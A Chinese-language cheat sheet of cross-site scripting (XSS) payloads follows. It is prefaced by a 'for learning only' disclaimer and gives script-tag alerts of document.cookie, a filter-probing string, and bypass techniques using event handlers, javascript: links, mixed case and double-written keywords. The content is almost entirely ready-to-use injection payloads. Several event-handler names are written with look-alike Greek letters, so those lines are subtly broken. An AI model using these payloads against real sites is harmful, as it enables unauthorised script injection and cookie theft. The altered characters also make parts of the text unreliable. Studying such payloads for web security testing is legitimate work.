常规的xss漏洞payload合集

声明

本文编写的目的仅用于学习

1.常规payloads

<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<img src="javascript:alert('XSS')">
οnerrοr="alert('XSS')">

2.测试payload

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;  #可以F12观察代码中的返回结果，看看到底过滤了什么

3.点击绕过

' οnfοcus=javascript:alert() ' #onfocus事件在元素获得焦点时触发，最常与 <input>、<select> 和 <a> 标签一起使用，以上面图片的html标签<input>为例，<input>标签是有输入框的，
简单来说，onfocus事件就是当输入框被点击的时候，就会触发myFunction()函数，然后我们再配合javascript伪协议来执行javascript代码
" οnfοcus=javascript:alert() " #这次是双引号
"> <a href=javascript:alert()>xxx</a> <"   #之后点击xxx，触发a标签href属性即可
"> <img src=666 οnmοuseοut="alert()"> <"  ①当鼠标移出图片的时候执行的属性onmouseout 
"> <img src=666 οnmοuseοut="alert()"> <"  ②当鼠标移动到图片的时候执行的属性onmouseover

4.大写绕过

"> <sCript>alert()</sCript> <"
" Onfocus=javascript:alert() "
"> <a hRef=javascript:alert()>x</a> <"

5.双写绕过

"> <a hrehreff=javasscriptcript:alert()>x</a> <"
<scscriptript>alert('XSS')</sscriptcript>